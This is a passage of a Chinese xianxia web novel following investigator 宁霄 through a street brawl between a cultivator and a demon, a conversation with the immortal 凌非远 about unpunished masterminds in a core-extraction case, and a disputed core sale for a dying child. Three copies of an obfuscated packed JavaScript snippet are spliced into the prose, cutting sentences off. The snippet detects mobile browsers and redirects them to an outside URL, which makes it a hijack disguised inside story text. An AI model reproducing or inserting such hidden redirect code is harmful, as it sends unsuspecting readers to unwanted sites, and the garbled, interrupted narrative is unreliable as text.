只见秦荣瞥了一眼明显带伤的唐锋,接过文书后一边低头翻看一边问道:“跟人起冲突了?” 所有人都沉默了,宁霄则迈步上前,平静答道:“是。其他队伍故意抢我们的武器资用。” “没把人打坏吧?” “没有,他们以多欺少,不过我们也没输。” 秦荣听出了她话里话外的维护,忍不住轻笑出声,“又是八队的那群人吧?” “您知道?” “没事,只是斗殴而已,小处分。小仲那边对下属的态度就是如此,只看结果,别的一概不管。” 她翻完文书的最后一页,整理好后又递给了宁霄,“基本没什么差别,我也就不安排了,文书案卷方面,记得梳理,负责案卷的部门一旬一查,别误了时间。” 说罢,她的目光忽然往旁边一移,似乎看到了什么,但很快又移了回来。 “差点忘了,上面说要热情接待仙人,别影响了仙人们对我们缉凶司的印象。尤其是你,记得招待好那位当事人,他现在没有内丹,恐怕不会很舒服。” 听完这些,宁霄当即就明白了什么。 于是转头顺着秦荣刚才的目光看去,只见六房门外,正站着一个熟悉的身影。 然而与往日里不同,他虽然依旧挂着温和有礼的笑容,可眼神中却是藏不住的纠结与忧愁。 宁霄蹙眉看了他一眼,却不愿细究,只觉得无奈。 她巴不得凌非远对她的印象差点儿,省的天天跟着自己让她心烦。 秦荣也站起身来,准备离开,经过她身边时,拍了拍她的肩膀,低声嘱咐道:“上面的意思别忘了,好好照顾。” 话已至此,宁霄没法阻止,只能认栽。 但是当凌非远跟她打招呼时,她却还是没有兴致演戏,干脆当没看见,直接从他身侧走过。 其他的组员倒是不清楚他们之间的恩怨,甚至对仙人跟着他们一起出巡而感到高兴不已。 陈平轩和罗靖更是上赶着跟凌非远搭话,这样倒也算是保住了缉凶司的面子,宁霄也乐得自在,干脆撒手随他去了。 “唐锋,你今天先休息吧,把药上一下,武器整理好归档。” “啊?”唐锋正擦着伤药,闻言当即就把衣服穿好站了起来,“我不要。我本来就没事。” 头一次听他说这么多话,宁霄也是没辙,只好从自己腰间的紫色云纹葫芦里倒出了一粒丹药,递了过去,“帮助恢复的,吃了再走。” 唐锋不疑有他,当即就咽了,原地理了理自己内力,脸上忍痛的表情都舒展了许多。 “这是什么药?” “秘方。” 他直接掌心朝上伸了过来,“再给我几粒。” “保命用的,多的没有。” 见大家都收拾利索了,宁霄这才带着大家出发。 一路上,宁霄都避免和凌非远有靠近交流的机会,好在一路上他都很安分,这让宁霄心中的戒备与嫌弃也没那么严重了。 头天来黑市外围巡逻时,他们已经把这里比较松散的流动交易地查了一遍,今天再来时,就换了更加靠近黑市入口的位置进行巡查。 这个位置除了有商铺,还多了许多普通百姓的居住地,人群中的烟火气更足,行人也比外围更加松弛一些。 只是,还没开始查铺子,不远处就有打斗的动静传来。 按照规定,缉凶使只要是看到犯罪行为,是一定要进行压制和处理的,于是宁霄他们当即朝那边走了过去。 只见人群之后,一个浑身布满羽毛的妖正揪着一个人的衣服,双手举过头顶,似乎要把人往地上摔。 然而那被举起来的人也不是个省油的灯,一边扭动身躯对着这妖又踢又打,嘴里还叫骂道:“你个畜生东西!也敢欺负人?!简直是倒反天罡!畜生就是畜生!” 那妖显然被激怒了,直接将人往上一抛,随即双臂一撑,露出了半身的鸟羽,连同他的头都变成了鹰隼的模样。 他挥动双臂,才发觉不是鸟翼,气得仰头张开铁喙,喷出了一口烈焰,显然是还没有习惯化形后的身体。 被抛起的人虽然没有施展法力,但身上倒是带了一些术法宝贝,只见他往地面甩出一张符纸来,符纸一接触火焰,瞬间散作飞灰铺开,不仅挡住了火焰的攻势,还托了一下他下落的身体,这才使得他落地没有那么难看。 “干什么呢!” 宁霄怒喝一声,想要上前制止,然而连人群都还未驱散开,唐锋就已经飞身上前,挥着佩刀就硬生生将对打的一人一妖隔了开来。 可两边仍是不服,隔着唐锋还要打斗,不知怎的竟误伤了唐锋。 紧接着,便见三人混战成了一团。 等到宁霄挤进人群中时,竟见唐锋直接把一人一妖都暴打了一顿。 宁霄这下是真慌了,赶紧带着自己的人去拉架,生怕把一人一妖打坏了又摊上什么事儿。 好在唐锋也不是听不懂人话的主,反手用刀柄撞开那气疯了的妖,又用左手手肘击飞了破口大骂的人。 总算是把这一人一妖“安抚”了下来,五组立刻分工协作,分别稳住两边,询问了一下周围人斗殴的情况。 “这人看不惯那妖呗,说他没化形就别出来溜达,说这儿是人走的道儿,不是鸭子走的,那妖气性也大,就打起来了。” “是这样吗?”宁霄询问了一下当事人和当事妖。 却听那修士顶着头上的血迹,指着那麻色羽毛的妖道:“畜生玩意儿!我说你几句怎么了?!” 周围的看客中立刻有人指责道:“你会不会好好说话啊?人家惹你了吗?这满大街到处都是妖,怎么不见你欺负其他妖呢?你不就是仗着他化形不行,觉得他弱想欺负人家吗?” “我就欺负他了怎么着了?他不是也把我打伤了?!”被打的人还是不忿,只要有别人说他他就要反驳。 听了几趟下来,宁霄也听出来就是这个人不占理了,纯粹是因为歧视和看不起妖所以主动闹事的家伙。 这种人在修界还不少,宁霄碰到过好几次,不仅破坏社会风气,还增加缉凶司的工作量,本来没什么大事,偏要惹出祸来,还屡教不改。 宁霄瞪着他,一边看他破口大骂一边心里暗暗想道:刚才这妖怎么没把你打死呢? “行了,主动认错的话,只让你们去牢里蹲几天,要是不认错,就去缉凶司吵去吧。” 宁霄说罢,那人还是一副谁也不服的神情,倒是那妖冷静了下来,恢复了带着羽毛的人形,一直蹙着眉头不讲话。 就在事情陷入僵局时,一直在旁默不作声的刘亦筱忽然指着那修士道:“他身上除了刚才被举起后受的伤,别的伤痕都没有,应该是主动撩架的一方。” 一听这话,那人当即不干了,气得脸色通红臭骂道:“你们都是修士,怎么能帮着妖呢!” 但刘亦筱不管他说什么,又指着那妖的胳膊,道:“这边有一道淤青,应该是被打的。” 闻言,那妖有些幽怨地摸了摸自己的伤痕,点了点头。 “你们到底怎么回事?我们是人!他是妖!你们凭什么帮着他啊?!” “律法如此,我们只是按规矩办事。余此,把他们这事儿记一下。” 罗靖见状也掺和了进来,先是摸了摸这妖胳膊上的羽毛,安慰道:“没事儿,又不是你先动的手,是他欺负你在先,用不着害怕,你在哪儿挂靠?我看他们好不好说话。” 麻色羽毛的妖仿佛遇到了知己,委屈至极,用不太熟练的语言诉说着刚才的情况。 随后罗靖又来到叫嚣着的修士身边,用同样亲切热闹的语气劝慰道:“行啦,人各有志,不要因为别人的成功就眼红嘛,你这么大年纪了,都有白头发了,不抓紧修炼的话,这辈子还能飞升吗?” “诶!你说什么呢?!”那修士捂住自己的几缕白发,将辱骂的对象又换成了罗靖。 “妖要是好东西,你们缉凶司里干嘛不招妖族?!你们都看不起他们,凭什么我不能看他们不顺眼?!” 宁霄被他吵得烦了,呵斥道:“哪儿那么多废话!既然不认错,那就跟我们回缉凶司去骂。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057383|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不料这话居然被周围人捡起来热烈讨论起来,连身后一直安安静静的凌非远都忍不住询问起陈平轩来,“是啊,为什么啊?我在缉凶司好像没见过妖。” 宁霄闻言,顿时回想起了今天出发时秦荣的嘱咐,她看了一眼身边的刘亦筱,只见她此时已然神游天外,如老僧入定,恐怕是指望不上了。 见此情形,宁霄简直头痛欲裂,有那么一瞬间,一丝悔意划过心间。 环顾四周,她将写完条子的余此拉到凌非远身边,道:“条子给我,你给他讲讲。” 随即又扭头吆喝道:“唐锋,给我把这人绑了。” 陈平轩也很识相地来到麻色羽毛的妖身边,和善地询问了一下,听闻他愿意去缉凶司,便没有动手绑他,只是没收了挂靠的身份帖。 然而这妖此时竟对此毫不在乎了,将身份帖递出后,便同周围的看客一起,伸长脖子去听余此说话了。 “妖的成长是需要很长时间的,这个过程中需要有师傅来帮他们建立正确的认知,所以就得采用挂靠制度,凡是能为自己负责的妖才能独立出来。” 这是所有人都知道的常识,见大家纷纷点头,余此才继续道:“但是我们缉凶司招收缉凶使是要调查背景的,不允许在进入缉凶司之前参与任何组织和部门,因为妖往往有挂靠妖族的情况,所以一般不符合条件。” 话音刚落,便引来一阵议论,连凌非远都蹙起了眉头。 “但是也有例外,那种自己成长起来的,符合自立门户条件的妖,也可以参与缉凶司的选拔,我司现在就有很多前辈的身份就是妖,只是他们都是很早一批的妖了,那时候还没有挂靠制度呢。” 周围立刻有人不满道:“这规矩明显是故意不想让妖族进入缉凶司啊!” “这个规矩是在修界成立之初形成的,当时人、妖、修士同处修界时,因为不同的生活习惯和观念,闹了不少矛盾和冲突,仙人在帮助修复修界时也参与了修界规则的制定,一开始因为妖族群体散乱,并没有考虑妖的平等问题。” 闻言,大家纷纷围绕这个话题叽叽喳喳讨论了起来。 妖的成长周期确实比人要长很多,如果没有稳定的组织和前辈来教导,是很容易因为观念的差异和人产生矛盾冲突的。 “但当时有比较庞大的妖族对他们制定的规则不满,所以后来才根据这些妖族的群体关系争取了更加合理的挂靠制度,以及更加平等的律例来保护修界妖族的生存。” 听到这个,宁霄立刻推了推身边气性颇大的修士,示意他好好听听,可那人却不领情,很是不快地翻了个白眼,被唐锋一拳砸在了头上。 那人还要开口大骂,唐锋却不知从哪拿来了一块包浆破布,直接把他的嘴给堵上了,耳边顿时清净不少,宁霄连忙收回了眼神,装作没看见,继续听余此说话。 “而且,我司曾经有做过调查,妖族普遍更愿意靠着妖族来提升修为,早日飞升,对加入缉凶司的意愿不是很强,所以大家放心,我司绝不存在歧视妖的情况,而且人、妖平等也是律条中的内容,他歧视妖,肯定不无辜。” 余此指着故意闹事的修士,只见他此时虽然被绑成了粽子,还被塞住了嘴巴,却依旧努力地扭动着身体,用眼神和嗯啊声辱骂着在场众人。 宁霄立刻下令道:“行了,既然当事人不愿意和解,就先把人带回去吧。” 在黑市附近,闹事屡见不鲜,大家凑完热闹,也就自行散去了。 倒是凌非远,看起来对修界几乎是一无所知,拉着余此不停地问着问题。 对此,宁霄无比感恩。 平时余此虽然没什么存在感,但此时略显瘦弱的他简直像是高大的屏障,轻松将她和凌非远分隔开来。 一行人才刚出来就立刻有了收获,倒是轻松,宁霄却深觉自己跟组员的磨合还有很长的一段路要走。 带着一人一妖走完所有流程后,时间尚早,宁霄准备再回去继续查几个铺子。 可是一整天都没烦她的凌非远此时却等在了牢房门口。 宁霄没有理他的意思,侧过身子想要绕过他,却在经过的瞬间被他拉住了手臂。 不等她发作,便听他道:“那个案子,我确实还有一些信息没有向你交代。” 28. 联合督查(九) 凌非远的表情很认真,宁霄顿时愣住了。 对于这个案子,她心里确实还有很多疑问,于是当即道:“什么?就在这儿说吧。” “恐怕……三言两语说不清楚。” 闻言,宁霄思忖片刻后,还是决定听一听他的说辞,于是吩咐其他人先回去继续督查,自己则带着凌非远来到了六房的功舍。 时间还早,六房一个人都没有。 宁霄带着他到自己组的位置坐了下来。 “说说吧。” 这么多天来好不容易能这样平和地待在一起,凌非远竟觉得有些紧张,沉默片刻后,才开口道:“我觉得,上次抓我的罪犯还有主谋并没有落网。” 宁霄抱着胳膊靠在椅背上,审视着他。 “依据?” “我自认为自己的法力修为不低,但被他们带进老巢后,我本想趁着他们喂药时反抗,可才破开五感封印,就被人镇压住了,在场的至少四个人,但我有些记不清他们的样子了,之后,每个丹奴都被关在一个单独的法阵内,我们看不到外面,即便我催动法力,也只能模模糊糊看到几个身影和轮廓。” “什么样的阵法?” “我不知道,并不是我所熟知的类型。因为抵抗不过,他们把我单独关押起来,还换了力量更强的阵法来束缚我。在调换关押位置的过程中,我能感知到,负责阵法的人至少有三个。” “是借助法宝形成的阵法么?” 凌非远垂眸思忖着,眉头越蹙越紧,说话也磕磕绊绊的。 “一开始的阵法没有,后来的……我不清楚,但在其他前辈去关押我的地方清缴时,曾经传视于我,他们并没有找到和阵法相关的法宝。” 闻言,宁霄也陷入了沉思。 当时案子被上移,连司长和仙人都参与其中,自己根本没法深入了解案子的每个细节,如果他所言非虚,那么罪犯团体的根基绝对不止清缴那天呈现出来的那样少和浅。 而且,头领中只有袁四被捕,和凌非远所说的几个操纵阵法的人根本对不上号。 “在被剖丹之前,他们每天会给丹奴喂一些汤剂、丹药,还会配合法力来让丹奴的内丹逐渐成熟,并让内丹褪开灵台。我的内丹一开始就有,所以他们的药物和法力催动对我没有产生太大影响,但,应当是阵法的缘故……” 说到此处,凌非远的声音忽然掺入了一丝不易察觉的颤抖。 他停顿下来,喉结滑动,连呼吸都在不经意间急促了几分。 宁霄相信,仙人被剖丹,一定比普通人要痛苦万分,毕竟是可以支撑肉体凡胎飞升成仙的程度,想来已经与□□融合成了不可分割的整体。 可鉴于他曾经也是用这样柔弱可怜的面貌骗过了她,宁霄着实是不敢再轻信了,于是听罢并不多言,只是坐在椅子上一动不动,等着他继续往下说。 “因为我是被单独关押的,所以他们没有带我去统一剖丹的地方动手,而是让那些人就地做了新的剖丹阵法,我担心继续下去就没有机会反抗了,于是在他们休息的间隙催动内丹,想要强行闯出去。 “但那几个人联手将我镇压,我原以为之前我养精蓄锐,可以防止内丹松动,可与他们交手之时,我能明显感觉到我的内丹与灵台之间产生了罅隙。周围没有任何可以吸收的灵力,他们便趁此机会完成了剖丹的阵法,然后!” 凌非远忽然大口喘息了几下,甚至脸色都有些发白。 “然后我被新的阵法所压制,那些人合力控制着我,强行将我的内丹剖出……我不知道用了多久的时间,我只觉得周围灵力的涌动都消失了,我催动不了内丹,只能眼睁睁看着他们切断内丹与灵台的所有连接……” 见他久久说不出话来,宁霄只好主动问道:“那天清缴抓回来的罪犯,有你觉得熟悉的人吗?” 凌非远似乎还沉浸在刚才的痛苦之中,缓了一会儿后,才摇了摇头,“以他们的能力,不可能被抓获。所有捉拿回来的罪犯我都去狱中看过了,和我接触过的那些力量感觉很不相同。” 听他讲述的过程中,宁霄也在努力思索着自己曾经见过听过的和阵法相关的高人,但都一无所获。 阵法本就是灵力与术法配合的产物,法力的高低与阵法的精妙与否,重要程度难分伯仲,不可比较。 自己所知道的那些阵法高手,往往是因为法力低微,不得已才钻研阵法,而且一般是设置在固定地点,用来自保的。如果想达到随时展现的地步,法力水平不可能低。 “所以仙人们到访,是担心这些漏网之鱼继续作恶?” 此话一出,凌非远明显一愣,随即眨了眨眼,移开目光后,才道:“前辈们本想帮我重塑内丹恢复修为的,但我不想放过那些剖丹的人,我想把这桩案子查清楚,最好能找回我原本的内丹,这样更有助于恢复,而且……我一直想当面向你道歉。所以才一直向九穹阁上报的。” “所以……仙人们压根不想插手此事,联合督查,也只是因为你一个人而开展?”宁霄不由得压低眉头,语气也变得有些生硬。 “不不不,不是这样的。”凌非远当即摆手,连脸上残存的痛苦神情都被他抛到了一边。 “联合督查绝不是我一个人的要求,我只是向九穹阁禀明了我的遭遇,前辈们觉得此事重大,担心修界陷入混乱,同时影响飞升之路,这才提出要彻查此事的。” 宁霄思索片刻,勉强接受了他的解释。 “被剖丹之后呢?你没有找到机会逃脱吗?” 凌非远再次被拉回这个话题,神色再次低沉下来,“没有,剖丹后,我的法力运转不畅。而且他们也担心我会跑,还是将我单独关押,依旧是让那几个人轮流看管我。好在他们把我当成了长期的耗材,用了很多药和术法来给我吊命。” 听到这儿,宁霄一下子回想起了刚见到时他的样子,整个人瘦弱颓败,眼神时常涣散,显然遭受了长时间的折磨。 “你看过案子的案卷吗?” “没有,只是前辈们在我恢复期间偶尔会告诉我一些新发现的线索,还有就是他们清缴时的传视。” 宁霄陷入了沉思,她没有去过那个老巢,只隐约知道那罪犯的老巢在黑市北向一个荒野的山洞和连通的地下。 “我发誓我说的都是真的,请相信我,罪犯的主谋并没有被抓住!” 即便他没说这些,罪犯没有完全落网也的确是不争的事实,不过他描述的那些可以压制仙人的高人,确实让宁霄很惊讶,也充满了好奇。 可此时此刻,宁霄还是很难点头表示信任,被盯了半天后,才硬生生憋出一句话来,“这毕竟是你的一面之词,我得去典册府看一下案卷,来佐证你的言辞。” 凌非远的表情有一瞬间的不可置信,但看到宁霄动身,还是提出要一起去查看案卷。 很快,两人就顺着环廊来到了前厅的西侧。 走出环廊,面前是一座四方楼阁,从外面看起来黑漆漆的,似乎是用铁筑的一般,阳光照在上面,都很难照得清外层的纹饰。 典册府除了地上四层楼阁,地下还有三层,用来保存更早时候的卷册。 获得许可后,两个人按照同僚提供的位置,来到了第三层的阁楼内,找到了关于丹奴交易案的案卷。 仔细翻看过后,宁霄才了解到,那罪犯的老巢竟还有一条地道直通黑市。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17067558|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她仔细研究了一下地道的出口位置,默默将出口附近的区域都规划进了自己小组巡逻的路线。 与此同时,她也在案卷的证词部分找到了凌非远刚才提到的相关线索。 只不过案卷当中,证词记录的内容远不如他所诉说的那样详细,再加上没有实际的物证,更显得单薄和不起眼。 “你当时向他们提供的证言和刚才跟我说的一致吗?” “嗯,我有仔细说明。” “你确定交代全面?没有任何隐瞒?” “嗯!我确定,我把我所有经历过的细节,以及想到的猜到的都告诉他们了,我不知道他们是如何理解和商议的,但是……看到被抓捕的罪犯后,我总觉得不太对。可大家都说没有找到我所说的那些人和线索……” 尽管有案卷来佐证他回到仙界后的确交代了原委,但一开始他对自己和对六队的隐瞒还是让宁霄心头冒气一股无名火,烦闷异常。 她将案卷放回原位,在凌非远期待的目光中,开口道:“这个案子最后是移交给仙人和牛空使长一起查的,我当时只是一个还没有组别的新人,根本插不上手,也根本不能影响案子的进程和细枝末节的线索。” “既然是他们着手查办的,你也都向他们如实交代了,这就够了。你向不向我坦白根本没所谓的。” “我原本也觉得,尽人事听天命便好。可那天跟你们一同去督查,路上拦住你的那个人,我记得她,她是和我一起被你救下的,看到她恳求你们继续查案时,我心里也很受触动。” 凌非远眼里的担忧无比真切,让宁霄也有些恍惚。 “那些能力强大的罪犯如果不揪出来,必定会继续为祸一方的,我亲自感受过他们的能力,内丹交易和丹奴交易必定还会发生的!” “你把这些话告诉其他仙督和牛空使长了吗?” 闻言,凌非远有些露怯,纠结半天才开口道:“你那天让我上报,我就去找了,他们和你说的一样……没有新的证据和线索,根本没法重新开展调查。” 宁霄站在两个书架中间,抱臂与他对立着。 “所以你又来找我是什么意思?觉得我最好骗?觉得我可以以一个新人组长的身份,不管不顾缉凶司的规则和条例,帮你重启案件的调查?” 逐渐西斜的阳光透过栏杆细密的小铁窗,越过她的肩膀,最后落在了凌非远的身上和半边脸上。 如同一道铁网,将他困在了原地。 “对不起,我只是觉得……你最值得信任。” 宁霄听罢,当即笑出了声。 太可笑了。 这样马后炮一样的信任,着实灵活得很,可以随时放在仙人身上、缉凶司身上,现在没辙了,终于轮到自己了吗? “这位仙督,我没有那个能力和地位可以帮你,您还是另请高明吧。” 宁霄不想再陪他继续这场玩笑了,书架间的过道不算太宽,她侧身绕过他,只想快点离开这里。 “宁霄!我从始至终都没有想过要戏弄你!” 宁霄停在过道,听着身后的凌非远因为情绪激动而颤抖的呼吸声。 整个三层只有他们两个人,大约是因为建材过于厚重,楼下的脚步声和说话声此时竟显得如此轻微渺远。 仿佛将他们两人隔绝在了无人之境。 “从我踏进那个魔窟开始,他们就一直遮蔽着我的五感,我想要逃离,想要反抗……没有一次成功,我以为我一辈子都要被囚禁在那里了。” 身后的脚步声轻浅,他的声音愈发清晰。 “是你救了我,是你打开了关押我的牢笼,而我第一眼看到的人,是你。” 29. 联合督查(十) 宁霄站在书架投下的巨大阴影中,只留给凌非远一个背影。 看起来那么冰冷生硬,那么不近人情。 可是凌非远不这么认为。 他尤记得那个夜晚,狭小憋闷的木箱里,因为封印,他什么都听不清,也看不清,只记得一路上摇摇晃晃,走走停停,他不知道自己将要面临的是什么。 他甚至不愿意去想,只有收回感知,麻木以待,才能勉强度日,不至于心淤气堵,崩溃发疯。 可倏忽间,木箱外的声音清晰起来。 走动声、说话声,以及贴得很近很近的摩擦声……是有人在触摸禁锢他的木箱。 尽管被符咒封印着五感,可灵台未毁,他的感知模模糊糊,还不至于全然失效。 重新回归的感知充溢他的脑海,显得如此拥挤,可长时间的关押和失望让他不能及时反应,依旧漠然地等待着。 直到利落的劈砍声震动木箱,他被吓了一跳,紧张地等待着。 下一瞬间,红布外透出了些许亮光,很快,红布落下,跃动的火焰照亮了那人的眼眸。 冷星被火光包裹,如同九穹阁顶端的宝珠。 宁霄就这样冷不丁地突然出现,斩开了他浸泡了几个月的噩梦。 他不记得自己是怎么从箱子里爬出来的,只记得宁霄的手,修长有力,熨帖可靠,手心的触感分明干燥温凉,却好似可以点燃他的皮肤。 被带回缉凶司以后,他依旧时常陷入恍惚,每次闭眼或者单独待在黑暗中时,总会怀疑自己是不是根本没有逃出魔窟,只是做了一个温暖的梦。 所以他从不敢去班房休息,宁愿整天待在缉凶司的前厅,每天注视着宁霄来去,才能稍微冷静下来。 即便是比宁霄身份地位还高的缉凶使,也不能让他安心。 修界对于他来说太陌生了,他第一次到来就栽了这么大个跟头,以至于对这里的所有人都无法全然信任,内丹的残损也日夜折磨着他。 他无法回到仙界,修界也没有仙人可以联系,于是只能习惯性瑟缩着,在人们的谈论中了解案子缓慢的进展,在等待中触碰这个诡谲的世界。 如此脆弱的神志在他住进宁霄的小院后才有了明显好转,尽管宁霄看起来藏着许多秘密,可她的行动如此温暖,让他不觉间放下了心防。 正因为这短短几天的相处,让他相信,宁霄绝不像她这几天展现出来的那样冷漠。 阴影中,那个身影终于动了。 宁霄转过身来看着她,黑暗中,她的眸子依旧如冷星般清晰锐利。 “仙督不必在意,职责所在,即便是换了别人,也会如此。” 凌非远听了这话,心中不免有些难过,只不过并非因为宁霄展现出来的不近人情,而是悔恨自己当初为什么要撒谎。 “不论如何,当初向你隐瞒是我的错。但我不会放弃的!我也知道……你绝不是冷漠的人。” 宁霄呵笑出声,声音冷峻道:“我说过了,我并没有因你而生气,你隐瞒身份、隐瞒案件细节我都可以理解,何况你的欺骗和隐瞒毕竟没有耽误办案的进程。” “可你……” “我只是觉得自己太可笑了,我笑自己一个小小的缉凶使,居然在考虑怎么保护一个已经飞升的仙人,而这个仙人明明什么都知道,呵,我只觉得自己太蠢了。” “对不起……” 他顿时感到无比抱歉,可是这脱口而出的话好似更激怒了宁霄,原本不想多言的她竟语速急促道:“不要再说什么对不起了,原不原谅有那么重要吗?!” “重要!” 凌非远几乎是脱口而出。 他愣了愣神,随后喃喃道:“我不想你讨厌我。” “而且……我知道那个案子对你很重要,我不该隐瞒的。现在案子的真正主谋和其他受害者还没有下落,新的线索也没有,我不想就这么放弃。” “你的发心很好,我也很赞同。但我真的想不明白,你为什么非要揪着我不放呢?联合督查已经开始了,缉凶司上上下下都在为那桩案子努力,这已经是最好的局面了,你还想怎么样呢?” 凌非远还想解释什么,可星星点点的光斑忽然凭空出现在他们两人之间。 宁霄迅速做了个手决,那光斑便随之展开,在半空中幻化成了文字。 原来是五组的其他人释放的传讯符,似乎是遇上了什么事。 只见她表情严肃,目光快速扫过那些文字后,抬手一挥,文字便消失无踪了。 “我希望你能明白,我没有能力帮你,以你的身份,你可以去找更有权势和地位的人来帮你,我能力有限,这件案子牵连甚广,不管你有没有新的证据和线索,都不要再找我了,好吗?” 说罢,她脚步匆匆,准备离开典册府。 凌非远想都没想就跟了上去,引得她飞来一记眼刀。 可他不以为意,只道:“不提那个案子可以。我现在是仙督,有权跟你一起参与督查。” 一听这话,宁霄一句理也说不出了,翻身骑上踏影,一拽缰绳,奔出了缉凶司的大门。 凌非远紧随其后,尽管没有得到谅解,还得到了宁霄的一记白眼,可他却隐隐感到一丝开心。 相比起来,宁霄对他愤怒,至少比对他冷漠要好上百倍。 - 然而此时此刻,骑着踏影往黑市赶的宁霄可没他这么想得开。 若说一开始,她确实是因为被欺瞒而有些气性上头,可此时她却真真切切开始考虑,这个纠缠不休的凌非远是不是真的有别的目的? 毕竟他们一个是普通的缉凶使,一个是已经飞升的仙人,身份相差巨大,即便有救命之恩,想报答也完全有其他更简便的方法,何必这么执着地缠着自己? 一路上把所有合理的不合理的阴谋想了一遍,仍是没有头绪。 而不远处的罗靖已经看到了她,挥着手大喊着跟她打招呼,宁霄只得先把脑海中乱七八糟的想法丢开。 她勒紧缰绳,踏影随之抬起前蹄,将大道上的行人吓得退避三舍。 刚才在典册府的时候,她收到了来自陈平轩的传讯,上面说发现了买卖内丹的行为,但是不是属于非法行为的范畴,他们不是很能拿得准。 这让宁霄又是兴奋又是担心,一路飞驰而来。 从踏影背上下来后,陈平轩立刻上前来帮忙牵绳,罗靖则一边带着她往前去,一边说明情况。 “那个妇人的孩子灵台萎靡内侵,医师都说挺不过去了,但似乎可以用吸收内丹的方式治疗。” 宁霄随着她所指的方向看去,果然见不远处有个妇人瘫坐在地上,一手抱着孩子,另一只手则拽着旁边一个褐色布衣的百姓,正冲面前的刘亦筱哭喊着什么。 唐锋则横刀挡在妇人和褐衣男人中间,看起来十分危急。 “那个男的就是卖家?” “是,但是……”罗靖忽然拽住了她,在距离围观人群不足五步的位置停了下来。 随后压低声音在她耳边道:“一开始那女的都掏出银票来了,我们觉得奇怪,就上去问了一下,结果他俩张嘴就说他们是自愿赠与内丹,不是非法。就这事儿一直掰扯不清楚,所以才让你来看看。” 宁霄闻言当即拨开人群,走到了那妇人面前。 “你们不能这么干!我孩子再不吸收内丹就要死了!是他自愿给的!怎么能叫犯法呢?!你们这群没良心的畜生!” 妇人哭得满头大汗,眼泪几乎将她的整张脸全都打湿了。 怀中的孩子个头不高,约莫五六岁的样子,露出来的皮肤已经是灰白色了,此时正蹙着眉头躺在母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宁霄闻言嗤笑一声,盯着他故意道:“行啊,我让人给你俩在这儿立个契约,你自愿赠与她内丹。但凡有私下钱财往来,抄没家财,头生疮脚流脓全身溃烂食不下咽而死。” 不等她说完,那褐衣男子先听不下去了,“咳咳,你说这些干什么呀?我又不是非得送给她,我不送还不行么,真是的……” 一直默不作声的刘亦筱忽然冷不丁道:“现在不赠与不代表你们私下不赠与。不过根据上次全体集议后更新的律条来说,修界的所有医师药师术士等,如遇治疗内丹缺失之伤的人和妖都得上报,否则一并视为内丹非法交易的连带罪犯。” 宁霄有些惊讶,赞赏地看了她一眼,随即又站在原地,冲地上几乎要哭哑了的妇人道:“夫人,你要是不想说,我可以等你哭完再说,可你的孩子等得起吗?” 闻言,那妇人抽噎地倒吸了一口气,垂眸看看怀里已经没个人样的孩子,又瞅了那个褐衣男子一眼。 “我们本来就是自愿的!是你们假惺惺待在这里坏事!我孩子要是出什么事,就都是你们害的!” “既然是自愿,又怎么会被我们的人察觉?”宁霄一扭头,冲罗靖招了招手,“你们是怎么发现的?” “是他!”罗靖伸手指着那褐衣男子,随后立刻跳到他身边,扒开他外衣,从他衣襟里扯出一块布来。 只见那布上写着几个大字:上品内丹! 罗靖挺起胸膛指认道:“我们路过的时候他俩正讨价还价呢,他非要卖一万灵石!” “你,还有什么要狡辩的?” “诶!我只是说我有上品内丹,我哪里写价儿了?你们听错不要污蔑我好吧?!”那褐衣男人猛地抽回那块布,随即念念叨叨就要离开,“我不送了还不行么,我非要送给她么?” 他抬起腿来甩了甩,试图甩掉那妇人的手。 原本还死死拽着他裤脚的手竟忽然间松了开来。 扭头一看,那手已经抚上了她怀中孩子的脸。 “雀儿?雀儿!醒醒!” 那妇人扯着沙哑的嗓子大喊起来,随即再次扑向褐衣男子,叫声凄厉,“你不能走!” 30. 联合督查(十一) “你要多少钱我都给你!我不还价了!我做牛做马去赚!你不能走哇!我的雀儿!” 妇人的嘶吼声瞬间响彻街巷,引得更多人前来围观。 凌非远就近探了探孩子的鼻息,随后他又将手掌贴在孩子的腹部,凝神探了探。 “你别动他!” 不等他做完这一切,妇人猛地推开他,俯身护住她的孩子,如同一头失控的兽。 凌非远从地上爬起,冲着宁霄摇了摇头。 见孩子不行了,那褐衣男子登时就将自己用来卖内丹的布塞回衣襟,准备趁着混乱离开。 却被唐锋一把揪住了后衣领。 “你干什么呀?!”他急着挥动胳膊想要离开束缚,“我又没有卖!” 宁霄见状,走到他们身边,下巴一抬示意道:“唐锋,算了吧。” 那男人哼了一声后,匆匆融入了人潮之中。 宁霄多看了他几眼,一直目送他消失,将他的外貌特征和走路姿势等都刻进了自己的脑子里。 随后手掌一翻,将手心里突然出现的红点掩盖了起来。 回头一瞧,凌非远还守在孩子身边,努力说着什么,可那妇人根本不准他靠近,一个劲儿地哭着。 他无奈之下,来到宁霄的面前,焦急道:“我刚刚看了一下,这孩子的灵台已经萎靡挛缩了,应该是先天不足,根本不适合修炼,一旦修仙就是死路一条!我想知道是谁让他去修炼的。” 如此混乱的局面,闹得宁霄也有些头疼。 